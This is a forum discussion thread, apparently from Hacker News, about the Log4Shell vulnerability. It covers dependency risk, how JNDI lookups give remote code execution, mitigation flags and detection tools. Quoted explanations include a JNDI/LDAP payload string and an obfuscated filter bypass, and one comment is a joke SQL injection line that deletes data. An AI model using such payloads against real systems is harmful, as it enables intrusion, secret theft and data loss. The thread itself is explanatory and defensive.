Log4Shell Log4j vulnerability (CVE-2021-44228) – cheat-sheet reference guide
techsolvency.com
techsolvency.com
Incidents like this remind me that it is sometimes OK to ignore those who constantly order you to "vendor it out" over some notion of principled development excellence wherein one never reinvents a single hypothetical wheel. Arguably, writing text to a log file on disk is a simple thing you dont want to keep implementing over and over. But, it is also a simple thing that doesn't take a whole lot to do correctly in many use cases.
DIY (in aggregate) would represent one of the largest barriers to any attacker producing a wormable/DDOS exploit of this log4j-style vulnerability. Imagine ten thousand plus unique implementations for how to get a string to disk and I can almost assure you that not one of them would contain an attack vector like this. Even if one of them did, the other 99.999% of implementations would be unaffected and nothing would have made the headlines.
Depending on the code paths that others have developed is the biggest liability in all of software engineering. We are going to have to get better at evaluating this cost relative to the benefits. This doesnt stop with Log4j. There are other things more ubiquitous and more complicated out there still. IMO, the best we can do is to stop producing new software that is exposed in these ways.
I mean SQL injection is such an easy known mitigation yet is still on the OWASP top 10 even after so many years.
; delete from comments where id = 29544262 */--
sanitize their inputs....still there?
Edit: I apologize for getting 'sanitation' wrong. Don't do it.
Sanitization is a defence of last resort when you simply can't separate code and data. Usually used for user content on the web since HTML has no formal mechanism to separate code and data because the angled brackets that do this separation are also valid user input.
But databases do have a way to separate the query from the data. Parametize your queries.
For anyone confused about why "sanitizing your inputs" isn't the right approach, please read (shameless self-promotion, but I think the concept is important): https://benhoyt.com/writings/dont-sanitize-do-escape/
It's not like library code is some magical stuff that only senior principal ninja 10x developers can comprehend
Not everything is don't roll your own crypto.
Even for crypto, I have had people give me trouble for daring to use Microsoft's public & documented implementations of SHA256 and CSPRNG to derive session secrets. It's almost as if directly interacting with any crypto primitives is tantamount to rolling your own crypto these days.
The problem is that "There are no bugs" approaches an unproveable statement as a codebase grows into even a modest size. It doesn't matter if you're a 10x developer or not, you aren't always going to immediately see all the implications and edge cases of a few hundred++ (at least) moving pieces the first time around with new code, and each additional piece adds a non-linear amount of complexity.
That doesn't mean you never roll your own version of something, it just means that you should either be very very good or have a lot of experience (or both) when making that decision for anything that's non-trivial. (And deciding what is/isn't trivial is its own decision too)
You get paid not for being smart, but for just doing responsibility for standard engineering. Plain craft. And do it seriously, not for admiration but payment.
edit: on second thought, your sentiment makes sense in your world where most programmers live where most libs are doing asinine stuff because some enterprise dude needs it for his use case which could have been solved 500 other more saner ways. in that world, yes, you should always be afraid of anyhing, even a printf (hint hint DOTS soon)
My comment was addressing the general sentiment from the GP regarding the potential presence of bugs in software, not the log4j issue in particular-- plenty if other have done that and I won't rehash it.
And of course your comment seems to ignitre the part of mine where I say that rolling your own version of something can be okay, but it's a decision to be made very carefully, along with my implication that trivial things are a different category. (your printf straw man would be about as trivial as it gets, so you're not making a string argument against my comment here)
And this is not just for issues of bugs, but also time and resources. Why spend your time writing a complex library for something that is not part of the core of your business if a well established OSS alternative that has had countless eyes reviewing the codebase, and it can do all you need? I don't go rewriting grep or other utilities. I don't roll my own equivalent of a nearly decade old library like python Requests. I use well established tools from trusted sources and then get down to my real work.
This is pretty much how most professions go about their jobs: use established tools, get to work. If there's a difference it's that many other engineering disciplines have had more than ~75 years to refine their established processes and basic tools.
For me the trade-off is when understanding the complete architecture and important subtleties (often ill-documented) of a third-party library takes more time than writing reasonably straightforward custom code restricted to the current needs of the application.
That's a pretty lush habitat for gremlins.
The argument of monoculture vs diversity may actually be a short term vs long term advantage discussion.
But it’s been too long since philosophy classes, and not enough of them in any case. :-)
I don’t think this event is sufficiently bad to overturn the principle that code reuse is a good thing.
The better lesson is to learn how to contain the behaviour of your dependencies so you don’t end up with ridiculous situations like backend database servers being permitted to make JNDI calls to the public internet.
On the one hand, I've worked at a couple places that used homegrown logging, and it's been fine. They covered all the features I use/want out of a logging framework, in only a couple hundred lines of code. I suspect that both logging frameworks even had lower TCO than their respective platforms' name brand loggers, because the greater simplicity paid recurring dividends across the whole organization.
I suspect, sometimes, that arguments against DIY being too complex have an unstated major premise that you need to implement a significant fraction of the off-the-shelf library's features. In my estimation, it's more like 10%, and then the code is only maybe 2-3%, because you also don't need any of the code for managing how the features you do need interact with all the features you don't need.
On the other hand, it's not like not using something like log4j yourself is any protection from things like this. We don't use log4j where I work, but I've still had my hands full dealing with all the other software we use that relies on it.
Are we open to the idea that code reuse is a delicate spectrum of possibilities?
I am also curious what your threshold would be for something that is sufficiently bad to force a review of these principles. Last I checked 10.0 is the highest CVSS score available.
Depends on the diagnostic messages and how you use the library. If exceptions are being logged with any level of detail, and an attacker has the ability to provoke exceptions while varying error message content, then the thing that seems safe was just made quite unsafe.
The way I would look at it - If log4j methods are being invoked on any logical threading context which is serving a potential attacker, then you have something you need to investigate for safety. This is not a complete scope, but it is the most immediate because of the feedback loop being instant for an attacker. Other flavors of this attack could involve nightly log shipping and other batched procedures being poisoned with nasty messages, but these have longer cycles and will take more time to compromise.
Right, I would certainly include that in "user data" though. I was mainly responding to the idea that using two logging libraries is strictly worse than one: when log4j is only used for logging safe data, and another library elsewhere, this is better than using log4j everywhere.
I think we cannot prevent bugs like this, but mitigation has to become easier.
It's an exploit and shouldn't be a "feature" at first place.
In my experience, many teams have a "security" person that they rely on to make security judgements. That's broken. Security should be thought about by everyone, especially in a world with so many malicious actors (and growing)
You're right. I probably wanted to excuse my own guilt ;-)
I'm not saying this is exactly what happened, but I've seen it often enough.
But it’s often still possible to use a different backend, via the Log4j to SLF4J adapter: https://logging.apache.org/log4j/2.x/log4j-to-slf4j/
OK, an attacker can inject a JNDI lookup, and can control what the JNDI lookup via LDAP returns... I would have thought that whatever it returned would just get inserted as a string into the log output, no big deal. But a remote JNDI lookup can return code that gets executed on the local site somehow? Can anyone explain this?
update this is the best explanation I've found: https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Inj...
"Among the recognized expressions is ${jndi:<lookup>}; by specifying the lookup to be through LDAP, an arbitrary URL may be queried and loaded as Java object data. ${jndi:ldap://example.com/file}, for example, will load data from that URL if connected to the Internet. By inputting a string that is logged, an attacker can load and execute malicious code hosted on a public URL. Even if execution of the data is disabled, an attacker can still retrieve data—such as secret environment variables—by placing them in the URL, in which they will be substituted and sent to the attacker's server.
Because HTTP requests are frequently logged, a common attack vector is placing the malicious string in the HTTP request URL or a commonly logged HTTP header, such as User-Agent. Early mitigations included blocking any requests containing potentially malicious contents, such as "${jndi". Naive searches can be circumvented by obfuscating the request: ${${lower:j}ndi, for example, will be converted into a JNDI lookup after performing the lowercase operation on the letter j. Even if an input is not immediately logged, such as a first name, it may be later logged during internal processing and its contents executed."
Log4J 1.x was deemed safe because it does not offer the lookup mechanism that Log4J2 v2.x does. It always remains a String, no matter what, unlike v2.x where you can load serialized objects via lookups.
Sorry if I'm being dense, but wouldn't the workaround be not enabling SocketServer? AFAIK, it's not used by default, it's something you have to decide to use explicitly.
a) https://github.com/Cybereason/Logout4Shell where a class is self-healing the log4j vulnerability by reconfiguring it
b) https://twitter.com/marcioalm/status/1470361495405875200 where the payload is opening an application (calculator) on the host system
Once you can inject anything that gets resolved, you have an information disclosure vulnerability unrelated to the RCE.
If I can just DNS resolve any ${env} variable from the JVM, a lot of systems are compromised by just exposing the env or system variables configured for runtime.
Just getting your $AWS_ACCESS_KEY_ID and $AWS_SECRET_ACCESS_KEY env vars can compromise your bucket (sure, that is a really unsafe setup now, but it was almost the standard a few years ago over configuring it explicitly).
So a logging system which will merely resolve a hostname derived from a variable was bad enough to compromise many systems.
The serialization loophole was fixed in a jdk8 update.
https://github.com/openjdk/jdk8u/commit/006e84fc77a582552e71...
But even with that in place, the information disclosure of java System or env properties is bad enough to break actual systems in prod.
This is actually next level exposure, but I saw people trying to identify Tor node IPs using this method and geolocate them.
It has been years since I used it but I can't remember a valid reason why it should be allowed to do so.
Since it is running inside the stack it may not be easy to enforce it. If the "client" log4j does it before even logging that is a bother.
It seems like having a "central" "syslog" logging server.
Traffic goes from the stack -> logging server. Logging server not allowed to call anyone external.
What is the intended scope of log4j? I spent some time looking over the source code and cannot fathom why something that logs information would need to become this complicated.
That's easy: because software development is complicated. If you look at the ticket where this was added[1], it seems like a reasonable request for something a very featureful logging library might do. Other logging frameworks[2] already supported this feature.
It's easy to armchair quarterback and say the feature shouldn't have been added, but the reality is an old project like this that's used by many large enterprises with specific requirements is going to naturally bloat as it ages.
Anyone who's been in software dev long enough has experienced this. You build a super-simple internal tool or library that does solves a specific problem you have. It starts getting used. Then you get a feature request from Department A to do something slightly different. Department B says you need to integrate the tool with their new CRM platform. The security team gets involved and says you need to integrate auditing of your tool's usage into their metrics. etc...
For Apache/log4j, it's not just multiple departments, but a wide array of companies across the entire world. It's very easy to explain feature bloat.
But yes, I think a major issue here is a logging library packaging its own meta language that can trigger side effects.
I mean seriously, who thought this was a good idea? It's about as dumb as allowing a SQL server to execute shell commands or read/write directly to files, or for XML documents to allow external entities that can fetch from URLs or local files.
Even worse is when these gaping security holes are enabled by default.
Nobody there seemed to be aware that the log message text itself is also subject to lookup syntax interpretation and that this would be dangerous given that JNDI also allows remote code-base download and execution from the specified URL.
The idea that a logging framework could lead to an RCE like this is completely bonkers. The vast majority of users just want to log straightforward data.
By "nonstandard" do you mean different than default settings? It looks like they changed the default as of v2.15: https://issues.apache.org/jira/browse/LOG4J2-3198
For earlier versions (2.10+) it looks like there's a single setting you can toggle to prevent the lookup behavior:
log4j2.formatMsgNoLookups=true (or env var LOG4J_FORMAT_MSG_NO_LOOKUPS=true)
1. Attackers can still load code in your class path.
2. Attackers can steal environment variables, VM information, system information, etc.
3. The issue isn't specific to LDAP in any way, that was just a particularly brutal way to exploit this vulnerability. There are other ways to achieve RCE.
We may find even more ways to attack this in the future. It is absolutely not a good idea to assume you're safe right now - if you have log4j in your dependency tree, you should keep a close eye on the discourse as it evolves.
edit: I'll just say that I think it's really premature to tell anyone that they're safe.
I probably spend more time grepping dependencies than googling for fixes. Scope kills.
Failing that, it would be interesting to see this implemented as a linter--low level I/O and HTTP functions are annotated such that callers must have the appropriate capability annotation in order to call them. This wouldn't prevent a nefarious library publisher from making HTTP requests through an FFI or an alternate HTTP library unknown to the linter, but it would prevent attackers from exploiting bugs/misfeatures in libraries as in this log4j case.
Unfortunately both of these platforms have removed their security controls - the JVM's SecurityManager[0] was deprecated and recent versions of .NET have dropped sandboxing. [0] https://openjdk.java.net/jeps/411
If it's in the application execution context, it will have the same abilities.
If your middleware needs to make calls to third-parties, and it uses log4j, the log4j code has the same rights as the middleware app.
If you're using a registry like Nexus, and it uses log4j, then it also has the ability to make calls to Maven repos, pypi repos, and anything else that Nexus can reach.
And so on and so forth.
Essentially you're expecting there to be privilege separation, where there is none.
For what the project used it for, jboss logging could have been replaced with direct slf4j usage, and even if it hadn't, supports slf4j directly so that was a headscratcher
It seems like there should be some intermediary stage between logging the vulnerability & full public disclosure. Something like a partial public disclosure that says "Hey, we have a CVSS 10 about to come down on Log4j, everyone carve out a chunk of time to get their systems fixed when we publish to full disclosure & patch."
And security & sysadmins around the world can get ready to work before exploits can get too much of a hold.
It's really hard for vulnerabilities as simple as this one to stay under wraps. When the patch went out 9 days ago [1], many vulnerability researchers were able to look at it and identify the root cause within minutes. Exploits started going out over a week ago before the CVE was released. Good security orgs that can hire skilled vulnerability researchers started patching on December 6th/7th/8th. All the chaos started on December 9th when people started leaking the poc on twitter.
The same thing happens to google chrome when they release a patch for a security vulnerability. Very skilled researchers can produce a POC and exploit given the patch alone [2]
The same thing happens even with embargoes like the one you describe in place.
[1] https://github.com/apache/logging-log4j2/commit/d82b47c [2] https://blog.exodusintel.com/2019/09/09/patch-gapping-chrome...
If that happens, it might even be construed as a criminal conspiracy.
While I consider my page to provide useful color, and I validate and summarize and cache info updates locally to add value ... it won't scale for long. It's really a stopgap - to buy defenders time until better efforts emerge.
A few efforts likely to become higher leverage than mine, because they can be driven by pull requests:
* https://github.com/NCSC-NL/log4shell - already quite comprehensive
* Whatever CISA may spin up - https://github.com/cisagov/log4j-affected-db
* Kevin Beaumont (@GossiTheDog) - turns out he worked with CISA on this
That being said, I'll keep working on mine as long as it still provides value; updates/corrections welcome.
[0] https://intellij-support.jetbrains.com/hc/en-us/community/po...
Biggest one is probably the Minecraft client
> Minecraft users were using it to execute programs on the computers of other users by pasting a short message in a chat box.
https://www.ctvnews.ca/sci-tech/the-internet-s-on-fire-as-te...
Last night, we kept getting disconnected from HyPixel on Minecraft 18.1 client. I wonder if they check for the vulnerability and boots people? Although 18.1 should be fixed. When we added the log4j JVM flag mitigation, we stopped getting booted.
I think doing a retro on the feature and asking why a logging systems needs to have so many features may be a question worth answering. Because there's tons of dependencies I use, where I want 15 to 10% of the features and the rest is just the library developers building hyper niche use cases or avoiding other work. So I expect there's a ton of other features waiting for this kind of CVE to emerge.
We know that two weeks before disclosure there are attacks using this exploit. Somehow had clearly figured it out, so hiding it was only going to cause problems.
When the patch went out 9 days ago [1], many vulnerability researchers were able to look at it and identify the root cause within minutes. Exploits started going out over a week ago before it was publicly disclosed and the CVE was released. Good security orgs that can hire skilled vulnerability researchers started patching on December 6th/7th/8th. All the chaos started on December 9th when people started leaking the poc on twitter.
The same thing happens to google chrome when they release a patch for a security vulnerability. Very skilled researchers can produce a POC and exploit given the patch alone [2]
[1] https://github.com/apache/logging-log4j2/commit/d82b47c
[2] https://blog.exodusintel.com/2019/09/09/patch-gapping-chrome...
(As a side note, this isn't a great time-- right before Christmas-- to have issues that could impact paying employees on time. Fortunately my workplace doesn't have many of our employees in in this system and Business Continuity can be achieved more easily by temporarily using plain old paper & manual processing than spending time on a temporary technical work around)
https://arstechnica.com/information-technology/2021/12/as-lo...
For example, I want to block all classes from opening sockets except those in my.company.domain.* packages.
They seem to exfiltrate data. If you see these files hosted in your projects, then you are probably part of it now.
-Dlog4j.formatMsgNoLookups=true
or
-Dlog4j2.formatMsgNoLookups=true
? Every project seems to list one or the other, even this cheat-sheet seems to list both in a random way...
Environment variables targeting Log4J version 2.x should get the prefix "log4j2.*" [2] so the latter is correct.
In the end it doesn't really matter if you declare an environment variable that's never read, so you could define both if you're not sure which version of Log4J is used in your stack.
https://github.com/apache/logging-log4j2/blob/04637dd9102175...
that's what the CVE (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-4422...) says:
> protects against remote code execution by defaulting "com.sun.jndi.rmi.object.trustURLCodebase" and "com.sun.jndi.cosnaming.object.trustURLCodebase" to "false".
I'll google/search more about these. I assume if we say RCE is a 10 for risk, then maybe others are 5 or 3?
Also, 8u121 was an incomplete fix, the complete fix (still with limitations as noted above) is in 8u191 (see second link above).
I recognize this probably isn't helpful on its face, but the best way to think of it is: if it's a Java app (or heck even possibly just an app running on the JVM) that uses the most recent major version (2.x before 2.15.0, the patch) of the most common logging logic, it's affected.
And that list in the enterprise space gets exceptionally long. Maybe not so much on client machines, but servers/etc absolutely.
Even companies not known for using Java for their own apps are probably relying on appliances or systems which run their own vulnerable Java apps.
Though even that long list is missing many. I have lots of emails in my inbox from various software vendors that are NOT listed in that Gist.
It's probably easier to compile a list of software you use that uses java, then the short of those projects that DON'T use log4j.
Companies likely only started IR in the last week. Breach notifications, which only a minority of companies will bother to send out, will be a few weeks away at the earliest.
I suspect we'll be patching quickly before Christmas.
https://community.kronos.com/s/feed/0D54M00004wJCdJSAW?langu...
Which I did today for our 60 microservices.
And also for projects deployed as war files - container server libraries also have to be checked.
Data loss from rollback is far better than total corruption (if it ever gets to that point, God forbid).
It also depends greatly on the availability needs for a system of course, but everyone has to be reasonable over things they can't pre-conceive or control in these types of situations because there's no way anything can operate flawlessly and without failure.
1. The Titanic
2. The Hindenburg
3. The AWS-East Service Outage This Month
:\
https://support.lucidworks.com/hc/en-us/articles/44156492440...
I'm glad I couldn't get SOLR to work on indexing PDFs for a client project last year and I chose an alternate solution after reading it today...
This article[1] probably seems like a bit of convenient self-promotion from Anchore - but the two tools grype and syft
https://github.com/anchore/grype
https://github.com/anchore/syft
Turned out to be very helpful in easily looking through folders, installed services (in particular an installed mobile device manager running on windows) and container images.
[1] https://www.infoworld.com/article/3644492/how-to-detect-the-...
Submitted to hn as: https://news.ycombinator.com/item?id=29543589 in case there's more discussion of tooling that might fit there.
https://spring.io/blog/2021/12/10/log4j2-vulnerability-and-s...
Also worth noting this is not log4j 1, but log4j 2, like angular vs. angularjs. Version 2 is a backwards-incompatible rewrite with a different package structure, effectively a different product. Version 1 is unaffected by this mess.
[1] https://twitter.com/gunnarmorling/status/1469603432269062146
> protects against remote code execution by defaulting "com.sun.jndi.rmi.object.trustURLCodebase" and "com.sun.jndi.cosnaming.object.trustURLCodebase" to "false".
It's fun to stay at the C.Y.A. :P
That being said, I do rely on containers, micro services, and other tools like Jenkins that will need eval.
Lots of developer tools happen to use Java - one immediate example we are investigating is Jenkins.
See https://www.jenkins.io/blog/2021/12/10/log4j2-rce-CVE-2021-4...
mvn dependency:tree -Dverbose=true | grep log4j